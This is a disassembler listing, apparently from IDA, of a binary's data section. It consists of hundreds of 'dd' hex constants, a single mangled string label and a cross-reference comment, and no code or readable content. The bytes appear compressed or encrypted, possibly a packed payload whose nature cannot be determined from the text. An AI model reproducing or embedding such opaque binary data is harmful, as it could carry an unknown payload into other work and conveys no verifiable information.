		dd 3E81A96Ah, 302A0CA4h, 2F0084B3h, 278CA17Fh, 50809477h
		dd 0CBD883Dh, 31A87028h, 22E23029h, 0CA3C3A70h,	4F230CD9h
		dd 0FB318DDh, 0CD7A8218h, 118018Ah, 6264C6Ah, 2F98F02Ah
		dd 0A5192D60h, 3767225h, 0E39B47E1h, 8EE0482Ch,	0DB03EEEDh
		dd 0C27D30BFh, 523806D5h, 58F93A81h, 0E7823300h, 66B9A437h
		dd 0C3CE0CC7h, 0C0C9E45Ah, 31EF4103h, 0C3B8ADF7h, 0A032E118h
		dd 4CCA988h, 0F0879800h, 2083D0B2h, 932CFDEh, 8433E1D4h
		dd 6743E418h, 6870D0C7h, 0CC063084h, 25FE0C31h,	1E2C19D0h
		dd 20222A82h, 0AA3CE492h, 0D24054E5h, 28873B81h, 42F2B118h
		dd 2C81AD08h, 1051BAAh,	61860DFFh, 30B2642Eh, 517E0630h
		dd 0A9BA2A46h, 0B0CD2FC8h, 768040BAh, 0CD2928F5h, 3F005964h
		dd 3001DEA3h, 0C10B5BC4h, 80AA4051h, 0B22AF0B6h, 527079C1h
		dd 319F8951h, 0B069F008h, 84881522h, 0F7BF1B72h, 0C831E80Fh
		dd 4C6BF124h, 0DC4303E9h, 18F17EE6h, 31907A8Ah,	3C920BABh
		dd 4C5AE428h, 5874AF28h, 0C6AC8480h, 24598C88h,	372C21E9h
		dd 0A244C039h, 1761757Ch, 2E6DFF30h, 0A804189Eh, 5830554Ch
		dd 4DDCE812h, 446F8254h, 0A4919B2Ah, 0F1880BAEh, 33DB7C62h
		dd 0C135B808h, 85D51CCh, 0DDC485C9h, 18CE4A31h,	4B7C28A5h
		dd 85E17C28h, 19084059h, 0EB3E428Dh, 7B3A4214h,	0C336428Dh
		dd 233C4214h, 0EE0A5069h, 282E0885h, 3AA88191h,	1988FF42h
		dd 106AB944h, 16A2EA12h, 8730D110h, 30C64EE2h, 5C99B109h
		dd 5B426C24h, 1060650Dh, 6C180402h, 60882E11h, 0A8131B8Ch
		dd 405061C2h, 4445A84h,	476906ECh, 58DADFC8h, 0A05E0144h
		dd 240BEA40h, 91A0D867h, 690C020Eh, 90335AC2h, 0A6E55B08h
		dd 2683304Ch, 0C7F2B049h, 11E79898h, 998AE67Ah,	0C03C02FEh
		dd 83D78A27h, 0C7112260h, 91515DBFh, 0C80909E8h, 4914DC19h
		dd 0A64981A8h, 2E1F466Ch, 2880C1CDh, 0C6890EF1h, 0B41E09E0h
		dd 9300C2D5h, 770431CBh, 1E8300A1h, 248ECAA4h, 8A07A086h
		dd 0EF07A620h, 0C0807A45h, 0A2942Ch, 0A37E3BBFh, 0B4E7F18Ah
		dd 750E10F8h, 802D9C92h, 7A2F8690h, 0A7D8A3C5h,	6B11E3C0h
		dd 40BB62ADh, 0D4C0BC9Eh, 245CE6A9h, 58404250h,	28BB0054h
		dd 0B2EEA284h, 1485E89Bh, 30A16B2Dh, 26EF06C0h,	8A299370h
		dd 0E9041C1Fh, 0E7407111h, 6B2383C4h, 255310B8h, 8A7C4860h
		dd 18DC04B3h, 708A9470h, 0E03CFC93h, 3EB615B1h,	0BFA8C018h
		dd 39A9862Ch, 0D38539BCh, 0C46E3FC2h, 242C6080h, 0C4A0A175h
		dd 0ACB8D374h, 0C3BB830Ah, 0E7C73816h, 83E495C0h, 238539C0h
		dd 1452A63Ah, 30C04091h, 94E98317h, 1DC00B5Ch, 0BA05118Fh
		dd 0F8163F80h, 0D06FE002h, 689495FCh, 94F0F504h, 1E9C01BEh
		dd 39FCA9Ah, 0EE31F890h, 0BCBA740Eh, 8A928238h,	94346025h
		dd 754D2Eh, 95930074h, 0CD0674EDh, 9892833Fh, 0B8976800h
		dd 8DBBABFBh, 907E2620h, 0CA503040h, 0E21EE73Fh, 9D1315BFh
		dd 6C072025h, 28C1A383h, 3ED1A169h, 1F744CE2h, 34E9B5FEh
		dd 421CA290h, 0FFE1BF04h, 3030210Fh, 0E63A6BCDh, 907B2C9Dh
		dd 4062C792h, 0D15848E3h, 58947A7Bh, 0C304543Ch, 0C0AB97D2h
		dd 0C5A174D0h, 0A50272F0h, 94C72D84h, 0E6C060BAh, 862901BCh
		dd 7039D193h, 0E32AD191h, 0D2C88AA0h, 258DA607h, 3FA5A87Eh
		dd 3E8E7081h, 0C1FFFC31h, 0A02097C7h, 0BDAD3E72h, 89933178h
		dd 2086A160h, 0D17C92ACh, 8AA97E03h, 7AE6BD2h, 809EC740h
		dd 0C8A6463Ch, 28F0A0F0h, 30AF7130h, 78BEE670h,	7EA1C83Ch
		dd 97752200h, 2C862088h, 6818C3AAh, 0A5547D04h,	21023AF8h
		dd 23D1A87Ah, 0E802D4E6h, 0E67B39BAh, 60C68Ch, 11E5E7B1h
		dd 3FD1A17Ch, 0B8946A24h, 691838E9h, 0F08D489Eh, 71CAE26h
		dd 40BD9771h, 248A9670h, 0B6A5C71Fh, 3D803030h,	0F17CB07Fh
		dd 2A028068h, 0E482A575h, 0CAD7C047h, 1F85F5F8h, 0C490A37Ah
		dd 0B02A82C1h, 6CDCA2B4h, 2FD126E4h, 818EC50Ch,	0D28192B0h
		dd 2E8ADCC0h, 0BEE9D890h, 2CBC1628h, 1C81C424h,	98B11D1h
		dd 0C42A703Fh, 5099EFE4h, 27C064BCh, 5C7EC63Ch,	0A88E0920h
		dd 0A11086BAh, 80933C69h, 17AB841Dh, 7020233Eh,	202C2DE5h
		dd 80C1D13Ch, 95863DBCh, 606E3430h, 0A4C7F897h,	772E2480h
		dd 75006C91h, 95C626E8h, 9018A4A2h, 0F2B82650h,	8FFCD738h
		dd 94C05704h, 2DBBB116h, 84AF20E0h, 2DB99102h, 217C9E1Eh
		dd 2E1B7918h, 919A5840h, 0B46B248Ah, 0F42D7D50h, 0BAAF024Dh
		dd 0D8C17B3Dh, 7095CD23h, 0AA0A7E64h, 407A2B8Ah, 20F89AADh
		dd 2F1E650h, 0EDE7059Eh, 0C0977520h, 86AE6820h,	1338265Ch
		dd 44C33A8Dh, 80ADA02Fh, 493C9E23h, 0B100D4E6h,	0CBDA298h
		dd 7869071h, 82A87020h,	9B92822Dh, 8EAD8CE0h, 9073102Eh
		dd 0CE97F107h, 2CC80D47h, 89900650h, 2D002129h,	10BF926Fh
		dd 4F869384h, 7A504923h, 0E700C86Ch, 712C81C8h,	0B805ECB3h
		dd 808E50E0h, 0D834A594h, 2C2FBEC4h, 85509486h,	2384F034h
		dd 9070745Fh, 50248ECEh, 1DD2F07Bh, 1E6B7A6h, 22BF959Ah
		dd 29BBDC75h, 7A217E60h, 253FBD9Eh, 0A0E8A486h,	7F6B3ED1h
		dd 5E04690h, 7A22E306h,	2F3835A8h, 8194CF10h, 0B36B208Eh
		dd 0AD1AE8BEh, 60F8288Ch, 0BE14C2E8h, 6DC703Fh,	85AD7F3Bh
		dd 0B9A20020h, 8CA5753Dh, 97047E3Eh, 0AE6BD183h, 3114E0A7h
		dd 0EC28C4F2h, 8C51F980h, 0F839D0DCh, 71298A82h, 0D802DC86h
		dd 937488C5h, 0E60ADC1Dh, 0D820D0EFh, 73223Ch, 0A37026EEh
		dd 28B13F84h, 180E0E7h,	0B32CBCA5h, 4210250Dh, 0F0A6BDB0h
		dd 0A01760D1h, 0DCCCF180h, 192F78C3h, 0E92CD1A9h, 0CDBC033Eh
		dd 0C4DC5854h, 60B5B22Ch, 38BF308Dh, 81D43C1Ah,	85967711h
		dd 0A6A684E0h, 0C96494F4h, 3ABDF0E9h, 0E4F810h,	299AE786h
		dd 60BA9275h, 11E5E810h, 24FCAF84h, 0BB607A4Ch,	51E11C05h
		dd 0BF042EB9h, 0C8166CC0h, 0DB00B4D3h, 57F6223Eh, 18E186BFh
		dd 2920A1A3h, 15003B3Ch
		dd 7636A613h, 0CC269DBDh, 5E213208h, 0BA153301h, 4EDD50B6h
		dd 4880E2E1h, 89DCA2A7h, 23009FA0h, 51E722E9h, 1E64262Eh
		dd 216E0Fh, 0FB90B957h,	0A80C0CA1h, 79F60AA2h, 5833EE42h
		dd 6E00137Eh, 0EACF1AEFh, 0F001B857h, 0DA3CAA3Dh, 20815697h
		dd 6CD0C5E1h, 11204F34h, 1F80CC09h, 79DDB9A8h, 586E2C15h
		dd 5682078Ch, 0C18C0F0Ah, 6542F0DBh, 789FD0E4h,	8486F564h
		dd 0BA4600B4h, 22C102E5h, 142B25E0h, 0F3101C75h, 0CCE2D515h
		dd 706DB064h, 1B6BE844h, 384A3ED7h, 524CDDC0h, 0E5051011h
		dd 7CB1010Eh, 0F1CE6A27h, 98966220h, 2821FC08h,	37FEA9h
		dd 292ED98Eh, 2C535F46h, 5023A030h, 624E0EEDh, 29A1603Fh
		dd 4CABF0A0h, 6C000F30h, 780D919Bh, 0AEC1D5Eh, 0D9F76FA5h
		dd 22C82288h, 0C62882B3h, 72298C2h, 302D0CBDh, 9A68A531h
		dd 0DE905254h, 91005676h, 0B51BBF5Ah, 0A6A011ADh, 712E401Ch
		dd 0A9911D60h, 68D47Fh,	8C50E725h, 76DD3978h, 3CF5FA24h
		dd 0D646DB40h, 5608A8F7h, 0E4E357BEh, 91357EF2h, 1D23C054h
		dd 0C0BC3A34h, 0A477D959h, 791F42ADh, 61595605h, 2180CE08h
		dd 25A46FFCh, 7718A7D5h, 5CB8E2AFh, 14562476h, 7E450354h
		dd 1805C7A3h, 0F42E3EDAh, 0B9BC7C00h, 0C055C973h, 0E01871C9h
		dd 3573DB41h, 0FDD2E50Eh, 21678C40h, 0E0100E98h, 9D40C18Ch
		dd 0DA6E09A8h, 0E2126D02h, 8C77ABB1h, 448AF8F0h, 0EB06914Dh
		dd 0E6D276D4h, 551C0178h, 6C700965h, 20DC5C12h,	6FB20B8Eh
		dd 0CF8C6BC1h, 52A1A51h, 1500A0E9h, 5BE3568Ah, 24704369h
		dd 20B140h, 0A1E44A42h,	90DE6BC7h, 0A8B2193Dh, 14186FF1h
		dd 0DB3DE008h, 4065C415h, 0BBE00C94h, 0B8C3543Ah, 2B4B00F3h
		dd 2255915Dh, 9D0904FDh, 2092EF6Bh, 9E4618BCh, 0B8DE5177h
		dd 12EEF884h, 5B560458h, 0D2204CCAh, 0D5103490h, 6A0659B2h
		dd 50490AD7h, 4432CA0h,	43F9118Fh, 1328220h, 24A018C2h
		dd 452D7309h, 37380447h, 0B0A47A60h, 6914210h, 0FF80D0C8h
		dd 9CD8A472h, 0C585885h, 200E2A13h, 0A8C8B288h,	8020E458h
		dd 67E31A30h, 88BA5013h, 0AA440AA4h, 1806FB7h, 5618E249h
		dd 0A244237Ah, 0CB00326Ah, 189A5C6Eh, 0FFD2B80Ch, 30F05883h
		dd 0B2B1BADFh, 473067AAh, 4E5A80F2h, 0B00A6716h, 0BCA4E01Bh
		dd 556743A9h, 46413B38h, 20830106h, 0C0E367A5h,	0B9BB380Ah
		dd 1340506Eh, 46DB3CE0h, 6E220Dh, 0F6E00B93h, 72B5C6FBh
		dd 0C3EF9C04h, 1CC080AAh, 0C3BBA36Fh, 0A27FB058h, 800753BBh
		dd 84F50838h, 0ACBD20CFh, 18428A97h, 20729FBAh,	0D62807E0h
		dd 0BCF2EC4Eh, 28502614h, 6DA89970h, 0E0081218h, 0C405DB3Bh
		dd 0A92406Dh, 651EE0h, 0A4CC37E2h, 51084A85h, 0E187890Bh
		dd 3AF430A2h, 0A6121115h, 8039882Eh, 2515325Dh,	0F60045F5h
		dd 0F274A375h, 1A6B089Bh, 0B82DA607h, 64DFBC60h, 0AC506C80h
		dd 0D0244880h, 718C68E8h, 9B4F0028h, 8590DD48h,	492CC209h
		dd 0F60888D9h, 0A4C80441h, 0DF4C88E8h, 183D1635h, 34621C61h
		dd 3A70A2FCh, 0D71846ABh, 0DD47188Bh, 0B203877Dh, 0CAAE8F0Bh
		dd 1FC811C0h, 0C2DF0D6Ch, 6808503Bh, 6EDB0F2Dh,	0E9EEDD6h
		dd 93E5CA84h, 0BCC82F6h, 117CAC30h, 88A66A77h, 0A42380F6h
		dd 3BD7D47Ch, 36CBE49h,	690AF18Dh, 6F97C02Ch, 30090EBh
		dd 9FA819B1h, 1009D40Bh, 0A1DE3EDCh, 0D7F07DF8h, 0C805F422h
		dd 21B3BDDBh, 505EC974h, 0B0DA77ACh, 4581AE00h,	0F1FB41EEh
		dd 0B8820154h, 18D0F3Ah, 0C1884414h, 5F6329Ch, 0CB039806h
		dd 8E462E79h, 32E29394h, 38619700h, 4751832h, 6942ABA4h
		dd 20D53205h, 68A46DFAh, 0C34AD300h, 95A81D4Bh,	3121009Ah
		dd 74732FE7h, 0E0242361h, 3AC09075h, 2C94914h, 0D76E42BDh
		dd 404856AEh, 7D40B3B2h, 484BE5E0h, 33C1CE88h, 54D52C2Dh
		dd 83DC9850h, 0BF6719A6h, 2646E8E5h, 15283A04h,	88C276h
		dd 2150982Bh, 156197FFh, 5CE11543h, 0B8D3C80Fh,	901F4784h
		dd 0DFB5A7ACh, 1B123E18h, 0C95C6841h, 8103A79h,	0CE1329EFh
		dd 6C01DE9Ah, 0DEE467Bh, 1F106432h, 0C46C88E4h,	0DBA4C211h
		dd 0B099AC42h, 991106Bh, 0FB0A03E0h, 75F1395Ch,	0BB64E8CEh
		dd 30821751h, 4B6300E3h, 6C930A52h, 767CAB01h, 0F7189E6Ah
		dd 1A32288h, 0A40F277Ch, 0E5971021h, 0E23C313Ch, 1415D033h
		dd 223E46A6h, 345F0038h, 0FB60CF15h, 5E1C2535h,	8381C578h
		dd 6A8E3C62h, 0F8430C26h, 0A033D6A2h, 2E57816h,	816E6287h
		dd 0E460237Dh, 680D907h, 6C8212E3h, 0F0A8604Ch,	49CFBDDEh
		dd 0B610601Fh, 136DEDB8h, 212E9ADFh, 81BB88h, 2876DD31h
		dd 0EAA8FD32h, 7AD719A7h, 4230281Eh, 3930A18Ch,	0A6111115h
		dd 9D318826h, 0B015475Ch, 96E733B3h, 0DA444909h, 497C6047h
		dd 0B46105F5h, 289DDD5h, 0DE2B2198h, 32064840h,	103A30D6h
		dd 0B00BCE23h, 0B74C309Ch, 0DC423178h, 5F46EE0h, 0F8085412h
		dd 0E016C071h, 2558DB3Fh, 0E96E0ACh, 44CF00E0h,	2D7C20A9h
		dd 45269054h, 80386823h, 1CC778B8h, 0B0C9AAD2h,	50422000h
		dd 0EBF73A02h, 0B340CC87h, 6C8380ACh, 13211E29h, 7CD8FFDCh
		dd 388C37E8h, 0A6800E08h, 360995EFh, 8B59A9E4h,	0DF120510h
		dd 388A3FAAh, 0D959CA18h, 0F80F7ADAh, 0E99285FBh, 4589A6Fh
		dd 746031C0h, 4210AAA4h, 0F9B00561h, 0C72CA46Ch, 4F0804A9h
		dd 125016DBh, 88DCCBE8h, 0B354C034h, 0A0123CCBh, 0DC43EA05h
		dd 0A059B762h, 24E6C3C2h, 9A0DD56h, 0ACA2A7A2h,	0C6618DAh
		dd 5DCA5F18h, 7CDBE9h, 3567ACE0h, 0D3C50556h, 4E497500h
		dd 619EAB27h, 88F44D70h, 60E84485h, 0F5060F88h,	165489C1h
		dd 0D4D47C8Ch, 7DFB00A2h, 27337566h, 2105688Fh,	773AABEBh
		dd 0C1301082h, 9072BC58h, 60326CF2h, 331616Bh, 0F7A6E94Ch
		dd 0F017E894h, 21595Fh,	1C0A30E2h, 355E1126h, 0D61F9340h
		dd 921A02Dh, 47C44A86h,	3311749Dh, 94A40D81h, 8878291Ch
		dd 62B544D3h, 58F05BBBh, 0BC151E2Ah, 0B4EB04h, 0D02C3D3Bh
		dd 0A54E6F2h, 4060EDC2h, 368265Ch, 0EF06121Bh, 0CD1D3100h
		dd 1F30A84Ah, 3A3C7078h, 0D9836A11h, 0EC068951h, 8C792900h
		dd 0FD614E6Eh, 75FB005Dh, 4717DCB1h, 98755953h,	77F5BFA0h
		dd 9414D500h, 0A19755B7h, 0BB1E0170h, 0B429DF6h, 0B2EFE0F9h
		dd 916F1D00h, 4EB7987Ch, 0E3B00F08h, 3F835955h,	180482E9h
		dd 0EB87D8DCh, 0DB41910Fh, 84E2A7E0h, 79AD6F29h, 3F24D80Eh
		dd 0B1FC00C0h, 0E8963BA1h, 0B253004Fh, 1BAD130Bh, 57767406h
		dd 3173F63Ah, 3D421A7h,	0A4ABEEE8h, 4896645Ch, 130F61A5h
		dd 8C261BE8h, 7AD8AD44h, 76230007h, 0AB312404h,	6218CEFCh
		dd 9220CF1Fh, 8646299h,	0C8C32DB1h, 0AD1A3DB8h,	0B065B600h
		dd 0E63F453Eh, 3CCF0032h, 0D02EB4EBh, 0B005F39h, 27DCFAB8h
		dd 1892BD10h, 48563802h, 0EB1F734Fh, 0DECCA974h, 0CCD6CED5h
		dd 94216A08h, 6F74E300h, 38A23B5Ah, 0D219C065h,	7AECFD58h
		dd 0EA959A01h, 0C1A56D86h, 115EFF8h, 0BB2CD8FFh, 40A0F004h
		dd 1F2AD88h, 5DD4B603h,	0F8B23D97h, 0A0838D66h,	1252B0C0h
		dd 181CF48h, 680D3C04h,	0E03883BEh, 489A717h, 58ED3A18h
		dd 635200A3h, 60D0053Bh, 516210B2h, 0D814D9B1h,	3E4DCABh
		dd 0BA0D328Bh, 53809791h, 0A82935A1h, 30E0D8A0h, 1F28E18Bh
		dd 52039937h, 12B5B79Bh, 5E38F9AAh, 2498E980h, 7F91A56Fh
		dd 0CA502D00h, 0B3A04386h
		dd 0DB450648h, 48B1FBE8h, 511BF301h, 80E727DEh,	5028B0BCh
		dd 10846B8h, 0DCAF74F1h, 6B0CD60Eh, 0E99A88h, 4AC71174h
		dd 1FDEA3C1h, 50C571F6h, 0F1C6DCDAh, 3A58C1F0h,	80A778E5h
		dd 185BD410h, 7CED454Dh, 0AC9028B0h, 40065214h,	0AD74EF02h
		dd 0F8B1FEDCh, 0E798116Eh, 2E80820h, 0C8BD1CACh, 0AC8793ECh
		dd 0F80028EBh, 0FD24466Ah, 495F7CB0h, 0A8506098h, 0C8724845h
		dd 7B31EC8Ch, 60B849h, 0CE3BAE73h, 18523C06h, 0D862AF28h
		dd 0CCA85D9Ah, 2003BD1h, 5AC03413h, 7660B0A6h, 0DEA90779h
		dd 0A3501C52h, 5100B57Ah, 0EE16AAD1h, 1977AC3Ah, 8943296h
		dd 0F42180C9h, 30DE16A2h, 444502E4h, 0B964D53Bh, 4FD68C81h
		dd 0B1D45083h, 150D5CC4h, 0C057056Fh, 50ABC7F8h, 1252C001h
		dd 5C5A216Ah, 0DDE3481Ch, 5504F9Eh, 0EE264E00h,	4810D309h
		dd 9220B660h, 29A36725h, 0C22069E5h, 5F3002A0h,	10A8A6DEh
		dd 1454B93Fh, 0CE25Eh, 1B2D8B13h, 90B02F28h, 64BB2038h
		dd 480CE20Ch, 26B4E0B1h, 878721Dh, 5806C463h, 5C511137h
		dd 0A442FE96h, 4DDB1701h, 304772FBh, 5B549B4Fh,	1C00E2C8h
		dd 0EC62302Bh, 258E0A1h, 5B0DABDh, 3047C470h, 0A4606CC4h
		dd 770756E0h, 3BA207FAh, 1278716Ch, 21B91408h, 20C86034h
		dd 8C6445D0h, 0FC8248B8h, 7778C071h, 0B09F49D4h, 3500D3BCh
		dd 0DDB7C18Fh, 0E8D53F66h, 0A149895h, 73CB2FDCh, 507806A8h
		dd 9C9139E7h, 43186CD1h, 1403A21Fh, 6A1BE00Fh, 0A780C005h
		dd 0DA672048h, 4C009056h, 7C1C60A1h, 3F1B47A9h,	4C21CBF1h
		dd 62CD2408h, 8FDD3C60h, 758B51Ch, 0EC8D3AF2h, 7A0024h
		dd 0D72DB2EDh, 780CB612h, 0CBD38E09h, 0D8200296h, 4C8429C2h
		dd 130C60A2h, 0E1B23AEh, 0D51EA811h, 0E10D8004h, 0B0D8177Fh
		dd 219381CCh, 5F4C1B43h, 81C4F9E2h, 107D11A4h, 491E1762h
		dd 0D1073450h, 23EFD22Ch, 497CB110h, 0ADD4C019h, 0D3C85441h
		dd 34C0A083h, 4C847C0Dh, 9788E0B7h, 0E20FB99Eh,	6F117899h
		dd 0A5501ABh, 0B5B697D9h, 6A0998D0h, 0A38F21h, 3B02DD55h
		dd 622E66C9h, 0D5792C06h, 0C161B90Ch, 9B860881h, 77118E63h
		dd 0F4B340C4h, 50123D1Ch, 1DA2C9F3h, 0F8110C97h, 17CBF800h
		dd 90132EDCh, 5649C901h, 28D75EB6h, 0E7538042h,	87314F28h
		dd 0B402524h, 0A30490h,	0B85BD369h, 0CECFD816h,	1491309Ah
		dd 3F7B1188h, 2907101Fh, 135F91ACh, 0C4241562h,	0A830A4C1h
		dd 73181900h, 0F8B85150h, 7E05A0Ch, 39FA60C9h, 7603AB37h
		dd 0A9F0ECDBh, 47DC3004h, 611262BBh, 2090DE04h,	0CC6148A4h
		dd 7AF74F11h, 62202983h, 8115C61Bh, 0B05F9Ah, 306DE3FFh
		dd 3884FD43h, 4A8017A9h, 0B8EA6EA2h, 48E35419h,	48CE3F8h
		dd 0D90B55ACh, 2067629Fh, 5855A490h, 0F55B0C01h, 0C3F0DD05h
		dd 80531028h, 0D030AFA2h, 0A33F070Fh, 9026D174h, 39A72937h
		dd 0D30014B9h, 2AFA982Dh, 0F80B02CEh, 0A2C1FDD2h, 67445067h
		dd 7460EC62h, 5562CFC1h, 8560DE19h, 0B85D84B0h,	74774705h
		dd 0BA01B001h, 9058E553h, 0D5508AEh, 64C4AFD9h,	55A6825Ch
		dd 0E882A0BCh, 3E016C0Bh, 987579D5h, 8007B891h,	0DCAE74F0h
		dd 6D448C06h, 74E80099h, 0C65D13CEh, 4A06701Ch,	0AE68ED3Bh
		dd 4CA303B0h, 0FECBD133h, 88406877h, 4C1D4862h,	0E00CDA81h
		dd 913182B3h, 4186D947h, 3EF4A56Ch, 671002CAh, 5F1434EBh
		dd 1C87E4B7h, 12577841h, 90C745A7h, 0F059C20Eh,	4194CABBh
		dd 5E115634h, 5CE1BCDDh, 0BB5004F0h, 0EC91B212h, 0F024B9B4h
		dd 0CF31C0B7h, 45AB17E0h, 4FCC5B50h, 680FE82Ch,	72371B8Eh
		dd 0D8153480h, 18B36053h, 0B1D719D9h, 4F794312h, 7C3664C9h
		dd 0FD234E05h
		db 0B1h, 0C0h
aMX09cb_	db '¬œ°X²',8,'09c¡&·.',0 ; DATA XREF: ___:off_43B000o
		dd 1007DC3Eh, 41E57989h, 5DEF400h, 6290EC85h, 0A1B8C6E9h
		dd 0ACA7B034h, 0CA606BC4h, 2F00BA18h, 86A0DC9Dh, 54D8D989h
		dd 5091A033h, 4A4E7467h, 0BBC841E8h, 855A1566h,	930738D0h
		dd 8C01AC88h, 0A874EA04h, 6B62D6DCh, 74E29320h,	87CD007Ah
		dd 27863604h, 48997CFBh, 60405C12h, 0B16F1DB3h,	0B570C070h
		dd 0A01384DEh, 7C01A673h, 27D6F349h, 3420B2A9h,	0DA7E4069h
		dd 32CFD8A1h, 1C397514h, 0D0502C66h, 2CD0AA03h,	5C102488h
		dd 7935FAh, 471DA60Ch, 48CC6291h, 22C0D8A8h, 0DE0A59DAh
		dd 1873B31Fh, 0A113B907h, 0F40A74B5h, 5E8B985Dh, 0A4F498DAh
		dd 3F3B8EBh, 1DB99FD2h,	0B0F60589h, 60A4CD55h, 0E1406098h
		dd 0B8AA5915h, 3204B222h, 7001F337h, 258FA4B0h,	0B0825B05h
		dd 7099458h, 8C823D34h,	3E8E4BEh, 0EB194132h, 10168354h
		dd 3444BAAAh, 98E46729h, 0B508E7AFh, 0F2860C0Ch, 41F529B9h
		dd 8999C174h, 0C83BAF20h, 771AB98h, 0E315BAEFh,	2F032035h
		dd 86008969h, 6E3E7278h, 3D753ABDh, 9D807A13h, 0DEADC890h
		dd 79500F17h, 84B812A0h, 0B09F20h, 1D65E34Bh, 10D901A8h
		dd 98D69034h, 84489460h, 60572E4Fh, 5204BC2Ch, 93BB36A2h
		dd 42ED386Ch, 0A66C69D4h, 0B6006356h, 9A85F7C7h, 28B048C6h
		dd 0DC40D139h, 0AAA80818h, 1F3CF880h, 1327DE48h, 0EDA42180h
		dd 49620036h, 0E04F4989h, 0C058A026h, 1BAC130Ah, 9473FE27h
		dd 2D33D2Ch, 17DFB500h,	3B4D22DBh, 0FE104112h, 4FDC2001h
		dd 7C24612Fh, 95E82CE5h, 0BB278FBCh, 0D53A12D0h, 993C8821h
		dd 4ADA5987h, 90B0215h,	671BEC80h, 0D9C57271h, 0AC5093D8h
		dd 589F29DCh, 0AB130901h, 0AD18F61Bh, 0F401D288h, 0E46B0F77h
		dd 0C92080DDh, 8727DCF1h, 0C8905F6Ch, 4438982Ah, 5004975Ah
		dd 469FE28Fh, 0BC5BEDC1h, 28B490A1h, 329601A4h,	0B909447h
		dd 0AF6420C3h, 89A47848h, 408C6AAh, 3AF216AEh, 20CB62CCh
		dd 6916A6F8h, 3C7B202h,	0A4979881h, 10757DCh, 128B81B6h
		dd 9C7238h, 57332829h, 0E78E57Eh, 0FF357BE0h, 7C973898h
		dd 6C010B81h, 47A85013h, 6482604Dh, 0A4A65610h,	0C413101Ch
		dd 2C742E1Bh, 1087AD9h,	0A88158DEh, 0E845DF50h,	460651B9h
		dd 0BE1A6214h, 45F0B0D1h, 365CD459h, 9C8AE41Fh,	0FD290E00h
		dd 4B10DAB2h, 0A1200494h, 37E4C832h, 9D396460h,	3E08768Ch
		dd 28001B52h, 8BF0A4CFh, 0E000EC73h, 6AF8D1B9h,	9BEBC1B3h
		dd 136209B0h, 0BCF82844h, 1052BE40h, 335E5F28h,	9D2CCC11h
		dd 40BDB8A4h, 3C2AB075h, 0C309CC15h, 0A0777966h, 104813C0h
		dd 0B464E4D3h, 26920ED4h, 674FD661h, 0B1588754h, 4F06CC3h
		dd 314B13DBh, 0D5895784h, 2FE011A4h, 783002F9h,	0AE2301B0h
		dd 80D34EAh, 53208097h,	0A69FC906h, 820A74Ah, 38CAFF02h
		dd 0A880A411h, 9C3AEC16h, 0F2C8448Ch, 0DE16A00Eh, 12F461BBh
		dd 62DEDF90h, 0C4C4F5h,	98E20C75h, 0CC8F3270h, 6E59FB0Eh
		dd 1BD6C031h, 8B5B962h,	5C38B31Dh, 47168180h, 0EF61937h
		dd 59C613ABh, 74268DEBh, 4B035950h, 34994ABBh, 0E967C021h
		dd 5A88B657h, 5B8CDC62h, 8500FA10h, 0B152582Bh,	0B496EC05h
		dd 20B0E1C0h, 510BE0DCh, 5087499h, 4D82C86h, 13856D67h
		dd 0DD5FFC04h, 0C4719D00h, 8A4C1D5Eh, 0B4F710DCh, 0DCACE228h
		dd 5C534960h, 8BD31080h, 5A0B269Bh, 621B181Ah, 92B8C908h
		dd 0A3EE7431h, 4C9178D0h, 3D787C19h, 0D5169CC6h, 546C4BB4h
		dd 125CBC10h, 5C40395Bh, 2E242A70h, 64EA81h, 89FE804Bh
		dd 384EF7B3h, 74F3E203h, 3BE05F12h, 788F5331h, 31A2B4E7h
		dd 28D9C70Dh, 93663608h, 0AFF442A6h, 40D0A93Ch,	0E92008B0h
		dd 0E8D81663h, 154C41E7h, 3884B96Fh, 89618890h,	0E810D2C0h
		dd 3F291F7Ch, 9118B457h, 0B90DE79h, 6BE05102h, 0B2FCACA3h
		dd 0C3276010h, 98BC7A15h, 1FDDB400h, 91A9CA9Ch,	0F71C9600h
		dd 0E1A70E12h, 44F15B62h, 814B3C50h, 169EFDCh, 0D9805C99h
		dd 9DB8CBB5h, 0AE020AA5h, 3C5EDC5Ah, 0A71C400Ch, 20F181D0h
		dd 0A0D3BB9Ch, 698808CEh, 92E58C0h, 1CDA51C1h, 0BA80A800h
		dd 7A1E3C52h, 41FB0816h, 113F1B4Ch, 10342273h, 4B07C48Fh
		dd 0E42DA017h, 90C8C012h, 405EDD3Bh, 82B4100Bh,	2F46C9B4h
		dd 691B8EB0h, 9F4CA0E9h, 99BA1262h, 55D508B0h, 0DAF3B380h
		dd 99BF94D4h, 62630874h, 60D09916h, 2910FCh, 6422853Dh
		dd 72A6464Ah, 3B9BF70Ch, 80719Fh, 411A0145h, 3B77F26h
		dd 811B73FEh, 8879BD7Ah, 90B3BFh, 0C9D710AAh, 0ECEA8514h
		dd 0D3140A79h, 14C06158h, 0E88A595h, 690C2251h,	0A8140FF6h
		dd 8BC2685h, 105543Bh, 7801D65Fh, 84053EBDh, 9633D46Dh
		dd 2DE19349h, 93E02276h, 7379C805h, 0A827FCC8h,	18BF51FCh
		dd 789BA02Ah, 3C808647h, 1669C0A5h, 0E9158964h,	0E8570C00h
		dd 58FE784Ah, 47A90F34h, 0DB20ED05h, 0D4E2E31Eh, 0ACA8DC2Ah
		dd 43B5480Bh, 0A9F0245Bh, 2016AD61h, 0B899C438h, 16A5F7C0h
		dd 0D66E0037h, 1232F8E5h, 1707D5B2h, 0B107CF09h, 20D520B4h
		dd 2AEBA082h, 0C16A1A60h, 6E4BEC60h, 2618E4B9h,	7F8B319h
		dd 0F451346Bh, 0CC08F101h, 0E48440D3h, 0AC4C203Ch, 47531280h
		dd 0E0723001h, 4429E2B3h, 4A7E1D10h, 6A23B82Fh,	0EBF9033Ah
		dd 0F089D7F0h, 69D53B10h, 0A0459962h, 42606FE4h, 2D074EBAh
		dd 0EB782C61h, 732841A9h, 98197C42h, 8380D388h,	5A6822h
		dd 0DC319399h, 9AD6123h, 1EF4250Eh, 8084D5A1h, 0D22A14D0h
		dd 1870466Bh, 7B496637h, 6C7523h, 7479CF9Ch, 57078E63h
		dd 817C123Eh, 37490E44h, 31805D39h, 47EE4A33h, 6838CFF1h
		dd 48192643h, 6450A592h, 0AB110CFCh, 8834C8B2h,	532247DCh
		dd 12B60974h, 8030D48Fh, 4F489C1Ch, 0E004D27Ch,	495C682Dh
		dd 0B8ABC1CBh, 0C63CE497h, 74783B07h, 0DC39F09Ah, 4ACBD4B5h
